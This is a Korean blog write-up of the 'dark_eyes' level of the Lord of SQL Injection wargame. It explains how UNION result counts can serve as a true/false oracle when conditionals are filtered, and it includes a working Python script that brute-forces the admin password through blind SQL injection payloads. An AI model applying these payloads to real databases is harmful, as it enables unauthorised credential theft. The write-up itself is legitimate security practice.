728x90
이번에 처치할 몬스터는 dark_eyes!
코드를 봐보면
이전 문제에서 사용했던 if문과 case, when 등 조건문들이 추가로 필터링되어 있다.
if문이 필터링 되어 있으므로 저번 문제처럼 조건을 걸어 union문을 실행시키는 것은 불가능하게 되었다.
또한 에러메세시도 사라져 아무 메세지도 출력되지 않게 되어있다.
조건문 필터링우회법이 있을지 검색해봤는데
이 문제에서는 우리가 사용했던 union의 성질을 이용하면 된다.
union은 select문 두 개의 합쳐진 결과를 출력하는데
위 사진이 정상적으로 실행되는 이유는 select 1 union select 1 은 둘 다 1을 출력하기 때문에 결과값 출력수가 1로 하나이기 때문이다.
이를 이용하여 select 1 union select length(pw)=1을 입력했을 때 pw의 길이가 올바르게 입력되면 참(True) 값으로 1을 반환하기 때문에 select 1 union select 1의 형식으로 입력될 것이다 이로써 정상적인 쿼리문이 실행되면 그때의 값이 pw의 길이임을 알 수 있다.
이처럼 union문의 특성을 사용하여 조건문처럼 사용할 수 있다.
이를 이용하여 코드를 작성해 보면
import requests
url="https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
cookies={"PHPSESSID":"ke1oo8qkfgv5k8af41pajf039k"}
string="0123456789abcdefghijklmnopqrstuvwxyz"
pw=""
for i in range(0,100): #길이구하기
pay=f"?pw=%27%20or%20id='admin'%20and%20(select%201%20union%20select%20length(pw)={i})%23"
res=requests.get(url+pay,cookies=cookies)
if "dark_eyes" in res.text:
length=i
print("length:",i)
break
for i in range(1,length+1): #pw구하기
for j in string:
pay=f"?pw='or id='admin' and (select%201%20union%20select%20substr(pw,{i},1)='{j}')%23"
res=requests.get(url+pay,cookies=cookies)
if "dark_eyes" in res.text:
pw+=j
print("pw:",pw)
break
print("password:",pw)
if문으로 응답값에 dark_eyes가 있으면 이라 했지만 다른 값을 넣어도 된다.
정상적으로 pw가 출력되는 걸 볼 수 있다.
굿굿!
다음 몬스터 잡으러 가자~!
728x90
'Web > Lord of SQL Injection' 카테고리의 다른 글
Lord of SQL Injection 24단계 (evil wizard) (0) | 2023.04.12 |
---|---|
Lord of SQL Injection 23단계 (hell_fire) (0) | 2023.04.11 |
Lord of SQL Injection 21단계 (iron golem) (0) | 2023.04.05 |
Lord of SQL Injection 20단계 (dragon) (0) | 2023.03.31 |
Lord of SQL Injection 19단계 (xavis) (0) | 2023.03.30 |